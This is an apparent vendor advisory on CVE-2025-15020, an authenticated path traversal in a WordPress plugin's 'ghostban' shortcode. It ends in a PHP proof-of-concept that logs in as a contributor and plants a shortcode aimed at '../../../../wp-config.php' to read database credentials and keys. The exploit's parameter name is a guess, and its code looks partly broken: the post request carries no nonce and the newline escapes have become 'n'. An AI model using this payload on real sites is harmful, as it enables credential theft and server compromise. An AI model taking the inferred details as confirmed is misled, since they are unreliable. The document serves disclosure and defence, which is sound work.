Atomic Edge analysis of CVE-2025-15020 (metadata-based):
This vulnerability is an authenticated path traversal flaw in the Gotham Block Extra Light WordPress plugin. Attackers with contributor-level access or higher can exploit the ‘ghostban’ shortcode to read arbitrary files from the server, leading to sensitive information disclosure. The CVSS score of 6.5 reflects a high confidentiality impact with low attack complexity.
Atomic Edge research infers the root cause is improper path sanitization within the shortcode handler. The CWE-22 classification indicates the plugin likely constructs a file path using user-supplied input without adequate validation. This input is then passed to a file read function like `file_get_contents()`. The description confirms the attack vector is the ‘ghostban’ shortcode, but the exact parameter name is inferred from common plugin patterns.
Exploitation requires an authenticated attacker to create or edit a post. The attacker embeds the ‘[ghostban]’ shortcode with a malicious ‘file’ or ‘path’ parameter containing directory traversal sequences. When WordPress renders the post, it executes the shortcode handler. The handler reads the specified file and likely outputs its contents into the post. A payload like `[ghostban file=”../../../../wp-config.php”]` would target the WordPress configuration file.
Remediation requires implementing proper path validation and restriction. The patched version 1.6.0 likely added input sanitization, such as basename extraction or an allowlist of permitted directories. The fix should also incorporate capability checks to ensure only intended users can trigger the file read functionality. Standard WordPress security functions like `sanitize_file_name()` or `realpath()` with directory comparison would prevent traversal.
Successful exploitation leads to full server file read. Attackers can retrieve the WordPress `wp-config.php` file containing database credentials, secret keys, and other environment variables. They can also read `/etc/passwd`, application source code, or log files. This information facilitates further attacks, including database compromise and potential remote code execution.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-15020 - Gotham Block Extra Light <= 1.5.0 - Authenticated (Contributor+) Arbitrary File Read via 'ghostban' Shortcode
<?php
/**
* Proof of Concept for CVE-2025-15020.
* Assumptions:
* 1. The vulnerable shortcode is 'ghostban'.
* 2. The shortcode accepts a parameter named 'file' (common pattern).
* 3. The plugin does not validate or sanitize the file path.
* 4. Attacker has contributor-level credentials.
*/
$target_url = 'https://target-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';
$file_to_read = '../../../../wp-config.php'; // Target sensitive file
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);
// Check for login success by looking for dashboard redirect or cookie
if (strpos($login_response, 'Dashboard') === false && strpos(curl_getinfo($ch, CURLINFO_EFFECTIVE_URL), 'wp-admin') === false) {
die('[-] Login failed. Check credentials.');
}
echo '[+] Logged in successfully.n';
// Create a new post with the malicious shortcode
$post_id = uniqid();
$post_data = [
'post_title' => 'Test Post ' . $post_id,
'post_content' => '[ghostban file="' . $file_to_read . '"]', // Inferred parameter
'post_status' => 'draft', // Contributor can create drafts
'post_type' => 'post'
];
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$post_response = curl_exec($ch);
// Extract the post ID from the redirect or response (simplified)
// In a real scenario, you would parse the response to get the post ID.
echo '[+] Post created with malicious shortcode.n';
echo '[!] Manual step: Visit the draft post to trigger shortcode execution and view file contents.n';
echo '[!] Assumption: The plugin outputs file contents directly when the post is rendered.n';
curl_close($ch);
unlink('cookies.txt');
?>
